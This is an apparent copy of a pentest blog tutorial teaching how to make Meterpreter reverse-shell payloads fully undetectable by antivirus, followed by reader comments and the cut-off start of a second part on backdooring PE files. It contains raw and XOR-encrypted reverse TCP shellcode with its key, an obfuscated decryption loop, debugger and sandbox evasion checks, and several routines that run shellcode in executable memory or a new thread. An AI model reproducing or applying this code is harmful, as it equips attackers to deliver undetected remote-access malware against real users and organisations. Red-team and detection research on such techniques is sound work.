Art of Anti Detection

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 41

Art of Anti Detection 1 Introduction to AV &

Detection Techniques
December 8, 2016 Ege Balci Operating System

This blog post will explain effective methods for bypassing the static, dynamic
and heuristic analysis of up to date anti virus products. Some of the methods are
already known by public but there are few methods and implementation tricks
that is the key for generating FUD (Fully Undetectable) malware, also the size of
the malware is almost as important as anti detection, when implementing these
methods i will try to keep the size as minimum as possible. this paper also
explains the inner workings of anti viruses and windows operating system,
reader should have at least intermediate C/C++ and assembly knowledge and
decent understanding of PE file structure.

Introduction
Implementing anti detection techniques should be specific for each malware
type, all the methods explained in this paper will also work for all kind of
malware but this paper mainly focuses on stager meterpreter payloads because
meterpreter is capable of all the things that all other malware does, getting a
meterpreter session on remote machine allows many things like privilege
escalation, credential stealing, process migration, registry manipulation and allot
more post exploitation, also meterpreter has a very active community and its
very popular among security researchers.

Terminology
Signature Based Detection:
Traditional antivirus software relies heavily upon signatures to identify malware.
Substantially, when a malware arrives in the hands of an antivirus firm, it is
analysed by malware researchers or by dynamic analysis systems. Then, once it
is determined to be a malware, a proper signature of the file is extracted and
added to the signatures database of the antivirus software. [1]
Static Program Analyze:
Static program analysis is the analysis of computer software is performed withou
t actually executing programs.
In most cases the analysis is performed on some version of the source code, and
in the other cases, some form of the object code.[2]
Dynamic Program Analyze:
Dynamic program analysis is the analysis of computer software that is
performed by executing programs on a real or virtual processor. For dynamic
program analysis to be effective, the target program must be executed with
sufficient test inputs to produce interesting behavior. [3]
Sandbox:
In computer security, a sandbox is a security mechanism for separating running
programs. It is often used to execute untested or untrusted programs or code,
possibly from unverified or untrusted third parties, suppliers, users or websites,
without risking harm to the host machine or operating system. [4]
Heuristic Analysis:
Heuristic analysis is a method employed by many computer antivirus programs
designed to detect previously unknown computer viruses, as well as new
variants of viruses already in the wild.Heuristic analysis is an expert based
analysis that determines the susceptibility of a system towards particular
threat/risk using various decision rules or weighing methods. MultiCriteria
analysis (MCA) is one of the means of weighing. This method differs from
statistical analysis, which bases itself on the available data/statistics. [5]
Entropy:
In computing, entropy is the randomness collected by an operating system or
application for use in cryptography or other uses that require random data. This
randomness is often collected from hardware sources, either pre-existing ones
such as mouse movements or specially provided randomness generators. A lack
of entropy can have a negative impact on performance and security. [6]

Common Techniques
When it comes to reducing a malwares detection score first things that comes
in mind are crypters, packers and code obfuscation. These tools and techniques
are still able to bypass good amount of AV product but because of the
advancements in cyber security field most of the tools and methods in the wild
is outdated and cant produce FUD malware. For understanding the inner
workings of these techniques and tools i will give brief descriptions;
Obfuscation:
Code obfuscation can be defined as mixing the source code of the binary
without disrupting the real function, it makes static analyzing harder and also
changes the hash signatures of the binary. Obfuscation can simply be
implemented with adding few lines of garbage code or programmatically
changing the execution order of the instructions. This method can bypass good
amount of AV product but it depends on how much you obfuscate.
Packers:
Executable packer is any means of compressing an executable file and
combining the compressed data with decompression code into a single
executable. When this compressed executable is executed, the decompression
code recreates the original code from the compressed code before executing it.
In most cases this happens transparently so the compressed executable can be
used in exactly the same way as the original. When a AV scanner scans a
packed malware it needs to determine the compression algorithm and
decompress it. Because of files that packed with packers are harder to analyze
malware authors have a keen interest on packers.
Crypters:
Crypters are programs that encrypts the given binary for making it hard to
analyze or reverse engineer. A crypter exists of two parts, a builder and a stub,
builder simply just encrypts the given binary and places inside the stub, stub is
the most important piece of the crypter, when we execute the generated binary
first stub runs and decrypts the original binary to memory and then executes
the binary on memory via RunPE method(in most cases).

The Problem About Crypters & Packers


Before moving on to the effective methods, there are few things that needs to
be acknowledged about what is wrong in well known techniques and tools.
Todays AV companies has already realized the danger, now instead of just
searching for malware signatures and harmful behavior they also search for
signs of crypters and packers. Compared to detecting malware, detecting
crypters and packers is relatively easy because of they all have to do certain
suspicious things like decrypting the encrypted PE file and executing it on the
memory.
PE Injection:
In order to fully explain the in memory execution of a PE image i have to talk
about how windows loads the PE files. Generally when compiling a PE file the
compiler sets the main module address at 0x00400000, while compile process
all the full address pointers and addresses at long jump instructions are
calculated according to main module address, at the end of compiling process
compiler creates a relocation table section in PE file, relocation section contains
the addresses of instructions that depends on the base address of the image,
such as full address pointers and long jump instruction.
While in execution of the PE image, operating system checks the availability of
the PE images preferred address space, if the preferred space is not available,
operating system loads the PE image to a random available address on memory,
before starting the process system loader needs to adjust the absolute
addresses on memory, with the help of relocation section system loader fixes
the all address dependent instructions and starts the suspended process. All this
mechanism is called Address Layout Randomization.[7]
In order to execute a PE image on memory crypters needs to parse the PE
headers and relocate the absolute addresses, simply they have to mimic system
loader witch is very unusual and suspicious. When we analyze crypters written
in c or higher level languages in almost every cases we could see these windows
API functions called NtUnmapViewOfSection and ZwUnmapViewOfSection
these functions simply unmaps a view of a section from the virtual address
space of a subject process, they play a very important role at in memory
execution method called RunPE which almost %90 of crypters uses.

1. xNtUnmapViewOfSection =
NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtUnmapViewOfSection"));
2. xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
Of course AV products cant just declare malicious for every program that uses
these windows API functions, but the order of using this functions matter a lot.
There are small percentage of crypters(mostly written in assembly) witch does
not uses these functions and performs the relocation manually, they are very
effective at the time but sooner or later usage of crypters will not be profitable
because of logically no non harmful program tries to mimic the system loader.
Another downside is huge entropy increase on input files, because of encrypting
the entire PE file, entropy will rise inevitably, when AV scanners detects unusual
entropy on a PE file they will probably mark the file as suspicious.
Perfect Approach
The concept of encrypting the malicious code is clever but the decryption
function should be obfuscated properly and when it comes to executing the
decrypted code in memory we have to do it without relocating the absolute
addresses, also there has to be a detection mechanism checking for weather the
malware is analyzing dynamically in a sand box or not, if detection mechanism
detects that malware is being analyzed by the AV then the decryption function
shouldnt be executed. Instead of encrypting the entire PE file encrypting
shellcodes or only the .text section of the binary is much more suitable, it keeps
the entropy and size low and makes no changes to image headers and sections.
This will be the malware flow chart.

Our AV Detect. function will detect if the malware is being analyze dynamically
in a sandbox or not, if the function detects any sign of AV scanner then it will call
the main function again or just crash, if AV Detect function dont finds any sign
of AV scanner it will call the Decrypt Shellcode function
This is meterpreter reverse tcp shellcode in raw format.
1. unsigned char Shellcode[] = {
2. 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
3. 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
4. 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
5. 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
6. 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
7. 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
8. 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
9. 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
10. 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
11. 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
12. 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
13. 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77,
14. 0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8,
15. 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b,
16. 0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02,
17. 0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40,
18. 0x50, 0x68, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56,
19. 0x57, 0x68, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0c,
20. 0xff, 0x4e, 0x08, 0x75, 0xec, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5,
21. 0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff,
22. 0xd5, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a,
23. 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00,
24. 0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x01, 0xc3,
25. 0x29, 0xc6, 0x75, 0xee, 0xc3
26. };
For keeping the entropy and size in appropriate value i will pass this shellcode to
simple xor cipher with a multi byte key, xor is not an encryption standard like
RC4 or blowfish but we dont need a strong encryption anyway, AV products is
not going to try to decrypt the shellcode, making it unreadable and
undetectable for static string analysis is enough, also using xor makes
decryption process much more faster and avoiding the encryption libraries in
code will reduce the size a lot.
This is the same meterpreter code xor ciphered with key.

1. unsigned char Shellcode[] = {


2. 0xfb, 0xcd, 0x8d, 0x9e, 0xba, 0x42, 0xe1, 0x93, 0xe2, 0x14, 0xcf, 0xfa,
3. 0x31, 0x12, 0xb1, 0x91, 0x55, 0x29, 0x84, 0xcc, 0xae, 0xc9, 0xf3, 0x32,
4. 0x08, 0x92, 0x45, 0xb8, 0x8b, 0xbd, 0x2d, 0x26, 0x66, 0x59, 0x0d, 0xb2,
5. 0x9a, 0x83, 0x4e, 0x17, 0x06, 0xe2, 0xed, 0x6c, 0xe8, 0x15, 0x0a, 0x48,
6. 0x17, 0xae, 0x45, 0xa2, 0x31, 0x0e, 0x90, 0x62, 0xe4, 0x6d, 0x0e, 0x4f,
7. 0xeb, 0xc9, 0xd8, 0x3a, 0x06, 0xf6, 0x84, 0xd7, 0xa2, 0xa1, 0xbb, 0x53,
8. 0x8c, 0x11, 0x84, 0x9f, 0x6c, 0x73, 0x7e, 0xb6, 0xc6, 0xea, 0x02, 0x9f,
9. 0x7d, 0x7a, 0x61, 0x6f, 0xf1, 0x26, 0x72, 0x66, 0x81, 0x3f, 0xa5, 0x6f,
10. 0xe3, 0x7d, 0x84, 0xc6, 0x9e, 0x43, 0x52, 0x7c, 0x8c, 0x29, 0x44, 0x15,
11. 0xe2, 0x5e, 0x80, 0xc9, 0x8c, 0x21, 0x84, 0x9f, 0x6a, 0xcb, 0xc5, 0x3e,
12. 0x23, 0x7e, 0x54, 0xff, 0xe3, 0x18, 0xd0, 0xe5, 0xe7, 0x7a, 0x50, 0xc4,
13. 0x31, 0x50, 0x6a, 0x97, 0x5a, 0x4d, 0x3c, 0xac, 0xba, 0x42, 0xe9, 0x6d,
14. 0x74, 0x17, 0x50, 0xca, 0xd2, 0x0e, 0xf6, 0x3c, 0x00, 0xda, 0xda, 0x26,
15. 0x2a, 0x43, 0x81, 0x1a, 0x2e, 0xe1, 0x5b, 0xce, 0xd2, 0x6b, 0x01, 0x71,
16. 0x07, 0xda, 0xda, 0xf4, 0xbf, 0x2a, 0xfe, 0x1a, 0x07, 0x24, 0x67, 0x9c,
17. 0xba, 0x53, 0xdd, 0x93, 0xe1, 0x75, 0x5f, 0xce, 0xea, 0x02, 0xd1, 0x5a,
18. 0x57, 0x4d, 0xe5, 0x91, 0x65, 0xa2, 0x7e, 0xcf, 0x90, 0x4f, 0x1f, 0xc8,
19. 0xed, 0x2a, 0x18, 0xbf, 0x73, 0x44, 0xf0, 0x4b, 0x3f, 0x82, 0xf5, 0x16,
20. 0xf8, 0x6b, 0x07, 0xeb, 0x56, 0x2a, 0x71, 0xaf, 0xa5, 0x73, 0xf0, 0x4b,
21. 0xd0, 0x42, 0xeb, 0x1e, 0x51, 0x72, 0x67, 0x9c, 0x63, 0x8a, 0xde, 0xe5,
22. 0xd2, 0xae, 0x39, 0xf4, 0xfa, 0x2a, 0x81, 0x0a, 0x07, 0x25, 0x59, 0xf4,
23. 0xba, 0x2a, 0xd9, 0xbe, 0x54, 0xc0, 0xf0, 0x4b, 0x29, 0x11, 0xeb, 0x1a,
24. 0x51, 0x76, 0x58, 0xf6, 0xb8, 0x9b, 0x49, 0x45, 0xf8, 0xf0, 0x0e, 0x5d,
25. 0x93, 0x84, 0xf4, 0xf4, 0xc4
26. };
27.
28. unsigned char Key[] = {
29. 0x07, 0x25, 0x0f, 0x9e, 0xba, 0x42, 0x81, 0x1a
30. };
Because of we are writing a new piece of malware, our malwares hash signature
will not be known by the anti virus products, so we dont need to worry about
signature based detection, we will encrypt our shellcode and obfuscate our anti
detection/reverse engineering and decryption functions also these will be
enough for bypassing static/heuristic analysis phase, there is only one more
phase we need to bypass and it is the dynamic analysis phase,most important
part is the success of the AV detect function, before starting to write the
function we need to understand how heuristic engines of AV products works.

Heuristic Engines
Heuristic engines are basically statistical and rule based analyze mechanisms.
Their main purpose is detecting new generation(previously unknown) viruses by
categorizing and giving threat/risk grades to code fragments according to
predefined criterias, even when a simple hello world program scanned by AV
products, heuristic engine decides on a threat/risk score if the score is higher
then thresholds then the file gets marked as malicious. Heuristic engines are the
most advanced part of AV products they use significant amount of rules and
criterias, since no anti virus company releases blueprints or documentation
about their heuristic engines all known selective criterias about their threat/risk
grading policy are found with trial and error.
Some of the known rules about threat grading;
Decryption loop detected
Reads active computer name
Reads the cryptographic machine GUID
Contacts random domain names
Reads the windows installation date
Drops executable files
Found potential IP address in binary memory
Modifies proxy settings
Installs hooks/patches the running process
Injects into explorer
Injects into remote process
Queries process information
Sets the process error mode to suppress error box
Unusual entrophy
Possibly checks for the presence of antivirus engine
Monitors specific registry key for changes
Contains ability to elevate privileges
Modifies software policy settings
Reads the system/video BIOS version
Endpoint in PE header is within an uncommon section
Creates guarded memory regions
Spawns a lot of processes
Tries to sleep for a long time
Unusual sections
Reads windows product id
Contains decryption loop
Contains ability to start/interact device drivers
Contains ability to block user input

When writing our AV detect and Decrypt Shellcode functions we have to be


careful about all this rules.
Decrypt Shellcode:
Obfuscating the decryption mechanism is vital, most of AV heuristic engines are
able to detect decryption loops inside PE files, after the huge increase on
ransomware cases even some heuristic engines are build mainly just for finding
encryption/decryption routines, after they detect a decryption routine, some
scanners waits until ECX register to be 0 most of the time that indicates the
end of loop, after they reach the end of the decryption loop they will re analyze
the decrypted content of the file.
This will be the Decrypt Shellcode function,

1. void DecryptShellcode() {
2. for (int i = 0; i < sizeof(Shellcode); i++) {
3.
4. __asm
5. {
6. PUSH EAX
7. XOR EAX, EAX
8. JZ True1
9. __asm __emit(0xca)
10. __asm __emit(0x55)
11. __asm __emit(0x78)
12. __asm __emit(0x2c)
13. __asm __emit(0x02)
14. __asm __emit(0x9b)
15. __asm __emit(0x6e)
16. __asm __emit(0xe9)
17. __asm __emit(0x3d)
18. __asm __emit(0x6f)
19.
20. True1:
21. POP EAX
22. }
23.
24.
25. Shellcode[i] = (Shellcode[i] ^ Key[(i % sizeof(Key))]);
26.
27.
28.
29. __asm
30. {
31. PUSH EAX
32. XOR EAX, EAX
33. JZ True2
34. __asm __emit(0xd5)
35. __asm __emit(0xb6)
36. __asm __emit(0x43)
37. __asm __emit(0x87)
38. __asm __emit(0xde)
39. __asm __emit(0x37)
40. __asm __emit(0x24)
41. __asm __emit(0xb0)
42. __asm __emit(0x3d)
43. __asm __emit(0xee)
44. True2:
45. POP EAX
46. }
47. }
48. }
It is a for loop that makes logical xor operation between a shellcode byte and a
key byte, below and above assembly blocks literally does noting, they cover the
logical xor operation with random bytes and jumps over them. Because of we
are not using any advanced decryption mechanism this will be enough for
obfuscating Decrypt Shellcode function.
Dynamic Analysis Detection:
Also while writing the sandbox detection mechanism we need to obfuscate our
methods, if the heuristic engine detects any sign of anti reverse engineering
methods it would be very bad for malwares threat score.
Is Debugger Present:
Our first AV detection mechanism will be checking for debugger in our process
There is a windows API function for this operation it Determines whether the
calling process is being debugged by a user-mode debugger. but we will not
use it because of most AV products are monitoring the win API calling
statements, they probably detect and treat this function as a anti reverse
engineering method. Instead of using the win API function we will go and look at
the BeingDebuged byte at PEB block.

1. // bool WINAPI IsDebuggerPresent(void);


2. __asm
3. {
4. CheckDebugger:
5. PUSH EAX // Save the EAX value to stack
6. MOV EAX, [FS:0x30] // Get PEB structure address
7. MOV EAX, [EAX+0x02] // Get being debugged byte
8. TEST EAX, EAX // Check if being debuged byte is set
9. JNE CheckDebugger // If debugger present check again
10. POP EAX // Put back the EAX value
11. }
With some inline assembly this piece of code points a pointer to the
BeingDebuged byte in PEB block, if debugger present it will check again until a
overflow occurs in stack, when an overflow occurs the stack canaries will trigger
an exception and process will be closed, this is the shortest way to exit the
program. Manually checking the BeingDebuged byte will bypass good amount of
AV product but still some AV products have taken measures about this issue so
we need to obfuscate the code for avoiding the static string analysis.

1. __asm
2. {
3. CheckDebugger:
4. PUSH EAX
5. MOV EAX, DWORD PTR FS : [0x18]
6. __asm
7. {
8. PUSH EAX
9. XOR EAX, EAX
10. JZ J
11. __asm __emit(0xea)
12. J:
13. POP EAX
14. }
15. MOV EAX, DWORD PTR[EAX + 0x30]
16. __asm
17. {
18. PUSH EAX
19. XOR EAX, EAX
20. JZ J2
21. __asm __emit(0xea)
22. J2:
23. POP EAX
24. }
25. CMP BYTE PTR[EAX + 2], 0
26. __asm
27. {
28. PUSH EAX
29. XOR EAX, EAX
30. JZ J3
31. __asm __emit(0xea)
32. J3:
33. POP EAX
34. }
35. JNE CheckDebugger
36. POP EAX
37. }
I have added jump instruction after all operation, this will not effect out purpose
but adding garbage bytes between jumps will obfuscate the code and avoid
static string filters.
Load Fake Library:
This method we will try to load a non existing dll on runtime. Normally when we
try to load a non existing dll HISTENCE returns NULL, but some dynamic analysis
mechanisms in AV products allows such cases in order to further investigate the
execution flow of the program.

1. bool BypassAV(char const * argv[]) {


2. HINSTANCE DLL = LoadLibrary(TEXT("fake.dll"));
3. if (DLL != NULL) {
4. BypassAV(argv);
5. }
Get Tick Count:
In this method we will be exploiting the time deadline of AV products. In most
cases AV scanners are being designed for end user, they need to be user
friendly and suitable for daily usage this means they cant spend too much time
for scanning files they need to scan files as quickly as possible. At first malware
developers used sleep() function for waiting until the scan complete, but
nowadays this trick almost never works, every AV product skips the sleep
function when they encountered one. We will use this against them , below code
uses a win API function called GetThickCount() this function Retrieves the
number of milliseconds that have elapsed since the system was started, up to
49.7 days. we will use it to get the time passed since OS booted, then try to
sleep 1 second, after sleep function we will check weather sleep function is
skipped or not by comparing the two GetTickCout() value.

1. int Tick = GetTickCount();


2. Sleep(1000);
3. int Tac = GetTickCount();
4. if ((Tac - Tick) < 1000) {
5. return false;
6. }
Number Of Cores:
This method will simply check the number of processor cores on the system.
Since AV products cant afford allocating too much resource from host computer
we can check the core number in order to determine are we in a sandbox or not.
Even some AV products does not support multi core processing so they shouldnt
be able to reserve more than 1 processor core to their sandbox environment.

1. SYSTEM_INFO SysGuide;
2. GetSystemInfo(&SysGuide);
3. int CoreNum = SysGuide.dwNumberOfProcessors;
4. if (CoreNum < 2) {
5. return false;
6. }
Huge Memory Allocations:
This method also exploits the time deadline on each AV scan, we simply allocate
nearly 100 Mb of memory then we will fill it with NULL bytes, at the end we will
free it.

1. char * Memdmp = NULL;


2. Memdmp = (char *)malloc(100000000);
3. if (Memdmp != NULL) {
4. memset(Memdmp, 00, 100000000);
5. free(Memdmp);
6. }
When the programs memory starts to grow on runtime eventually AV scanners
will end the scan for the sake of not to spend too much time on a file, this
method can be used multiple times. This is a very primitive and old technique
but it still bypasses good amount of scanners.
Trap Flag Manipulation:
The trap flag is used for tracing the program. If this flag is set every instruction
will raise SINGLE_STEP exception.Trap flag can be manipulated in order thwart
tracers. We can manipulate the trap flag with below code

1. __asm
2. {
3. PUSHF // Push all flags to stack
4. MOV DWORD [ESP], 0x100 // Set 0x100 to the last flag on the stack
5. POPF // Put back all flags register values
6. }
Mutex Triggered WinExec:
This method is very promising because of its simplicity, we create a condition for
checking whether a certain mutex object already exists on the system or not.

1. HANDLE AmberMutex = CreateMutex(NULL, TRUE, "FakeMutex");


2. if(GetLastError() != ERROR_ALREADY_EXISTS){
3. WinExec(argv[0],0);
4. }
If CreateMutex function does not return already exists error we execute the
malware binary again, since most of the AV products dont let programs witch
are dynamically analyzing to start new processes or access the files outside the
AV sandbox, when the already exist error occurs execution of the decrypt
function may start. There are much more creative ways of mutex usage in anti
detection.
Proper Ways To Execute Shellcodes
Starting with Windows Vista, Microsoft introduced Data Execution Prevention or
DEP[8], a security feature that can help prevent damage to your computer by
monitoring programs from time to time. Monitoring ensures that running
program uses system memory efficiently. If there is any instance of a program
on your computer using memory incorrectly, DEP notices it, closes the program
and notifies you. That means you cant just put some bytes to an char array and
execute it, you need to allocate a memory region with read,write and execute
flags using windows API functions.
Microsoft has several memory manipulation API functions for reserving memory
pages, most of the common malware in the field uses the VirtualAlloc function
for reserving memory pages, as you can guess common usage of functions
helps AV products with defining detection rules, using other memory
manipulation functions will also do the trick and they may attract less attention.
I will list several shellcode execution method with different memory
manipulation API function,
HeapCreate/HeapAlloc:
Windows also allows creating RWE heap regions.

1. void ExecuteShellcode(){
2. HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(Shellcode),
sizeof(Shellcode));
3. char * BUFFER = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(Shellcode));
4. memcpy(BUFFER, Shellcode, sizeof(Shellcode));
5. (*(void(*)())BUFFER)();
6. }
LoadLibrary/GetProcAddress:
LoadLibrary and GetProcAddress win api function combination allows us to use al
l other win api functions, with this usage there will be no direct call to the memo
ry manipulation function and malware will probably be less attractive.

1. void ExecuteShellcode(){
2. HINSTANCE K32 = LoadLibrary(TEXT("kernel32.dll"));
3. if(K32 != NULL){
4. MYPROC Allocate = (MYPROC)GetProcAddress(K32, "VirtualAlloc");
5. char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
6. memcpy(BUFFER, Shellcode, sizeof(Shellcode));
7. (*(void(*)())BUFFER)();
8. }
9. }
GetModuleHandle/GetProcAddress:
This method does not even uses the LoadLibrary function it takes advantage of
already loaded kernel32.dll, GetModuleHandle function retrieves the module han
dle from an already loaded dll, this method is possibly one of the most silent wa
y to execute shellcode.

1. void ExecuteShellcode(){
2. MYPROC Allocate = (MYPROC)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
3. char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
4. memcpy(BUFFER, Shellcode, sizeof(Shellcode));
5. (*(void(*)())BUFFER)();
6. }
Multi Threading
It is always harder to reverse engineer multi threaded PE files, it is also
challenging for AV products, multi threading approach can be used with all
execution methods above so instead of just pointing a function pointer to
shellcode and executing it creating a new thread will complicate things for AV
scanners plus it allow us to keep executing the AV Detect function while
executing the shellcode at same time.

1. void ExecuteShellcode(){
2. char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
3. memcpy(BUFFER, Shellcode, sizeof(Shellcode));
4. CreateThread(NULL,0,LPTHREAD_START_ROUTINE(BUFFER),NULL,0,NULL);
5. while(TRUE){
6. BypassAV(argv);
7. }
8. }
Above code executes the shellcode with creating a new thread, just after
creating the thread there is a infinite whlie loop that is executing bypass av
function, this approach will almost double the effect of our bypass av function,
bypass AV function will be keep checking for sandbox and dynamic analysis
signs while shellcode runs, this is also vital for bypassing some advanced
heuristic engines that waits until the execution of the shellcode.
Conclusion
Towards the end there are few more thinks that needs to be covered about
compiling the malware, when compiling the source, safeguards like stack savers
need to be on and striping the symbols is vital for hardening the reverse
engineering process of our malware and reducing the size, compiling on visual
studio is recommended because of the inline assembly syntax that used in this
paper.
When all of this methods combined, generated malware is able to bypass 35
most advanced AV product.
PoC
The Meterpreter created by using the techniques we have described in this
article shows how our malware produces results in real systems.
Sooner or later this methods also going to expire, but there will always be more
ways to bypass AV products.

Part 2
Second part of Art of Anti Detection is published. Go ahead and continue reading
(https://pentest.blog/art-of-anti-detection-2-pe-backdoor-manufacturing/)
References:
[1] https://en.wikipedia.org/wiki/Antivirus_software
[2] https://en.wikipedia.org/wiki/Static_program_analysis
[3] https://en.wikipedia.org/wiki/Dynamic_program_analysis
[4] https://en.wikipedia.org/wiki/Sandbox_(computer_security)
[5] https://en.wikipedia.org/wiki/Heuristic_analysis
[6] https://en.wikipedia.org/wiki/Entropy
[7] https://en.wikipedia.org/wiki/Address_space_layout_randomization
[8] https://msdn.microsoft.com/en-
us/library/windows/desktop/aa366553(v=vs.85).aspx
The Antivirus Hackers Handbook
The Rootkit Arsenal: Escape and Evasion: Escape and Evasion in the Dark
Corners of the System
http://venom630.free.fr/pdf/Practical_Malware_Analysis.pdf
http://pferrie.host22.com/papers/antidebug.pdf
https://www.symantec.com/connect/articles/windows-anti-debug-reference
https://www.exploit-db.com/docs/18849.pdf
http://blog.sevagas.com/?Fun-combining-anti-debugging-and
crypter fud malware

EGE BALCI

Pentest ninja @ Prodaft / INVICTUS Europe. Twitter: @egeblc Github: EgeBalci

6 thoughts on Art of Anti Detection 1 Introduction to AV


& Detection Techniques

1. A.B.

December 14, 2016 at 12:04 PM


Hi , is it possible for me to get a copy of your Testfile ? thank you in advance !

REPLY

1. MEHMET INCE

December 14, 2016 at 1:44 PM

Unfortunately, no sir. Aim of this article is show people that using several minor tricks
together can lead to fully undetectable malware. Releasing a binary sample or
directly source code will not help people in a way we want but only damage innocent
users/companies. Thank you for reading this article by the way

REPLY

2. JACK J.

January 23, 2017 at 12:33 PM

in trap flag manipulation


How does a simple MOV statement (that sets 0x100 to the last flag) do the trick?
doesnt it require some kind of exception handling in an untraced runtime?
I think theres a mistake in that statement, shouldnt it be like MOV DWORD PTR [ESP],
0x100?
Thank you.

REPLY

1. EGE BALCI

January 23, 2017 at 6:17 PM

Getting a SINGLE_STEP exception wont effect the program on untraced runtime


because you dont have to handle every exception. The reason of me not using
PTR is because currently i am using nasm for assebling the instructions, nasm
dont excepts such syntax but it will not change the result. Also you can read more
about manipulating the trap flags on symantecs article.
https://www.symantec.com/connect/articles/windows-anti-debug-reference
REPLY

3. TIM

February 6, 2017 at 11:50 AM

Hello, just found out your blog, and I appreciate the quality of the articles, good job! Is it
NoDistribute really reliable/trustable? Thanks for the articles, Im looking forward for more!

REPLY

1. EGE BALCI

February 6, 2017 at 5:07 PM

Thank you for your complements, NoDistribute claims they do not distribute any
samples to AV companies but this also might be a strategy for capturing more
malware, i cant talk certain about this but i belive it is safer than VirusTotal, there are
a lot of alternative malware scanning sites around but i suggest setting up your own
scanning environment in a vm

Also check this site https://pscan.xyz/ it is trending.

Art of Anti Detection 2 PE Backdoor


Manufacturing
January 10, 2017 Ege Balci Operating System

This paper will explain several methods used for placing backdoors in PE
(Portable Executable) files for red team purposes, in order to fully grasp the
content of this paper, readers needs to have at least intermediate x86 assembly
knowledge, familiarity with debuggers and decent understanding of PE file
format.

Introduction
Nowadays almost all security researchers, pentesters and malware analysts deal
with backdoors in a daily basis, placing a backdoor to a system or specifically to
a program is the most popular way for maintaining the access. Majority of this
papers content will be about methods for implanting backdoors to 32 bit PE
files, but since the PE file format is a modified version of Unix COFF (Common
Object File Format) the logic behind the methods can be implemented for all
other executable binary file types. Also the stealthiness of the implanted
backdoor is very important for staying longer in the systems, the methods that
will be explained in this paper are prepared according to get the lowest
detection rate as possible. Before moving further in this paper reading the first
article Introduction To AV & Detection Techniques of Art of Anti
Detection article series would be very helpful for understanding the inner
workings of AV products and fundamental thinks about anti detection.

Terminology
Red Team Pentesting: When used in a hacking context, a red team is a group
of white-hat hackers that attack an organizations digital infrastructure as an
attacker would in order to test the organizations defenses (often known as
penetration testing).Companies including Microsoft perform regular exercises
under which both red and blue teams are utilized. Benefits include challenges to
preconceived notions and clarifying the problem state that planners are
attempting to mitigate. More accurate understanding can be developed of how
sensitive information is externalized and of exploitable patterns and instances of
bias.
Address space layout randomization: (ASLR) is a computer security
technique involved in protection from buffer overflow attacks. In order to
prevent an attacker from reliably jumping to, for example, a particular exploited
function in memory, ASLR randomly arranges the address space positions of key
data areas of a process, including the base of the executable and the positions
of the stack, heap and libraries.
Code Caves: A code cave is a piece of code that is written to another processs
memory by another program. The code can be executed by creating a remote
thread within the target process. The code cave of a code is often a reference to
a section of the codes script functions that have capacity for the injection of
custom instructions. For example, if a scripts memory allows for 5 bytes and
only 3 bytes are used, then the remaining 2 bytes can be used to add external
code to the script. This is what is referred to as a code cave.
Checksum: A checksum is a small-sized datum from a block of digital data for
